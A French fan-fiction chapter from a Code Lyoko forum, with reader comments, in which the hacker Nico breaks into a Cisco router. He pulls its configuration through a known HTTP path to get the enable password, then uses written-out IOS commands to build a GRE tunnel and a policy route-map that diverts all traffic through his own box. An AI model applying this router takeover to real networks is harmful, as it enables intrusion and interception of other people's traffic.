«Bon reflechissons, je peut pas passer par là. Et il n'y a que dans les films que le systéme d'aeration est suffisant grand pour laisser passer une personne.»
Soudain, il se rendit compte qu'il y avait forcement un passage d'entretien en cas de panne de l'ascenseur.
Il commença à en chercher des traces, finit par trouver une trappe, l'ouvrit et son visage s'orna d'un sourire: il y avait une echelle de barreau !
Il sortit sa lampe de torche et descendit.

Quelque dizaine de mètre plus bas, il ouvrit une autre trappe et tomba dans une salle noir eclairé par des leds verte de different appareils.
Eclairant les differents appareils avec sa lampe de torche, il commença à déterminer leur fonction.
«Un routeur cisco 7200, du cable cat5 qui part vers quelque part, ha c'est la Sun Ultra Entreprise dans laquel Hopper m'avait piége !»

Il brancha son laptop sur un port RJ-45, recupera une IPv4 par DHCP, lança nmap contre le routeur et vit que le routeur avait le serveur HTTP actif.
Ouvrant Firefox, il atteignit le router par son addresse 10.235.71.1 et tenta de recupéré l'URL /99/exec/-/show/config.
Une longue page s'ouvrit, devoilant la configuration du routeur dont son mot de passe enable.
Il lança un rapide telnet, se loggua en tant qu'admin, fais enable et faut recompenser par un prompt cisco#

Il sortit son Soekris, trouva une prise, la brancha au routeur et attendis quelque instant.
Dans la fenêtre telnet,une ligne signala l'attribution d'une nouvelle addresse IPv4 par DHCP.
Il s'y connecta en ssh2 via sa clef publique et reconfigura la machine en addresse ipv4 statique, chargea le module gre dans le kernel et se frotta les mains.
«Je connais un chouette hack avec GRE. On va voir si ca passe ;) »

Routeur cisco a écrit:cisco#conf t
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)#int tunnel0
cisco(config-if)#desc Nico was here.
cisco(config-if)#ip address 1.1.1.1 255.255.255.0
cisco(config-if)#tunnel source eth0
cisco(config-if)#tunnel dest 10.235.71.142
cisco(config-if)#tunnel mode gre ip
cisco(config-if)#exit
cisco(config)#


«Donc voila, j'ai créé un tunnel GRE vers la Soekris qui est en 10.235.71.142. Sur ce tunnel, le routeur aura l'IPv4 1.1.1.1.
Il faut que je configure la Soekris ...»
Quelque ligne de ifconfig plus tard, il tenta de pinger sa Soekris à travers le tunnel GRE:
Routeur cisco a écrit:cisco#ping 1.1.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 1.1.1.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/8/8 ms


«Maintenant, ne pas casser le routage quand on va activer ce hack .»
Quelque ligne de plus en root plus tard, la Soekris routa tout ce qui lui arrivait sur le tunnel GRE vers l'addresse IPv4 1.1.1.1.

«Plus que 3 truc à faire: une regle firewall qui autorise tout, un route-map vers le tunnel GRE et l'affectation de ce route-map à l'interface qui communique avec le SC.»
Routeur cisco a écrit:cisco(config)#access-list 123 permit tcp any any
cisco(config)#route-map nicohack
cisco(config-route-map)#match ip address 123
cisco(config-route-map)#set ip next-hop 1.1.1.2
cisco(config-route-map)#exit
cisco(config)#int eth0
cisco(config-if)#ip policy route-map nicohack
cisco(config-if)#exit
cisco(config)#exit


«Bon maintenant, l'instant de vérité !» se dit Nico en tapant le dernier exit.
Route-map disant au routeur d'ignorer tout ce qu'il savait du routage pour envoyer tout le traffic sur une addresse Ipv4, la Soekris commença a recevoir du traffic et en transmettre.

Il relança les different scripts qu'il avait ecris sur la Soekris, verifia qu'elle était bien inseré dans son VPN et commença en rangé son matériel.

Quelque dizaine de minutes plus tard, il avait finis et commençait la remonté vers la surface.
Il sortit de l'usine et evita de peu la rencontre avec Jérémie.

«Je devrait arreter de jouer avec ma chance» se dit-il avant que rentrait à son QG.



---
ps:
J'espere que je n'ai perdu personne pendant la description du hack à l'aide de GRE.
GRE est un protocol permettant d'etablir des tunnels entre different ordinateur.
Vous pouvez avoir de l'ip sur de l'ip.
C'est utilisé dans les VPN non securisé :)

Sinon, l'idée de cette utilisation de GRE ne vient pas de moi.
Elle vient d'une série de livre intitulé Stealing the network.
ps2: Cette partie trainait sur mon HDD depuis un moment.
J'espere qu'elle vous plait.
Avatar de l’utilisateur

Lyokophile à vie

Messages: 215

Inscription: 27 Oct 2007, 16:39

Localisation: quelque part sur le réseau

Message 01 Avr 2008, 18:48

Yahou ! J'adore ! Je n'ai pas encore le niveau assez élevé pour tout assimiller, mais j'ai tout compris! (sans rire) Continue je t'en prie ! c'est excelent !
J'ai essayé récemment le style avec ma fic "Déja vu" dans la section divers, mais jamais je ne pourrais dépasser ton niveau ! (en informatique)

Jeune Lyokophile

Messages: 177

Inscription: 01 Avr 2008, 20:14

Localisation: Paris, en train de surveiller la vieille usine...

Message 01 Avr 2008, 21:08

Ta nouvelle.

Eu égard ton niveau en informatique, tu devrais te risquer à construire un ordinateur quantique comme le supercalculateur et le programmer... je parie que ça fonctionnerait ! Mais tout de même, ça pourrait être un peu périlleux.

En tout cas, c'est excellent d'avoir imaginé les lignes de programmation utilisées par Nico le hacker surdoué... Et ses petits bidouillages aussi !
J'avais presque l'impression d'être devant les applications que j'utilise dans mon travail !
Excellent !
Amicalement, Tinky :-)

PS ;J'ai commis quelques billevesées de mon côté, dans la section "Fanfics/Divers", sous les titres "Pitch pour la Saison (sous entendu 5)#1, Un retour vers le Passé... Vraiment préhistorique", et Pitch pour la Saison 5 #2, Xanassic Park", début, suite et retour... La fin sera pour bientôt ! J'aimerais avoir ton avis là-dessus, si tu as le temps d'aller les lire !

Image

Pourfendeur de Kankrelats

Messages: 570

Inscription: 11 Mar 2008, 06:20

Message 01 Avr 2008, 21:22

yami no kitsune a écrit:Tu veux qu'on t'appel Einstein ou Jérémie :?: ;) :lol: :lol: :lol: :lol:
MDR MDR MDR MDR. Sérieux, j'aime bien la fic mais je saute les passage informatiques ;) , c'est plus simple 8)

et oui ! Moi aussi je suis meilleur en potions que devant un PC... Sur ce, je suis un peu comme Odd et les autres un vrai "0" en informatique.
Suivante

Retourner vers Divers

Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 1 invité

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group.
Designed by STSoftware.
Traduction par phpBB-fr.com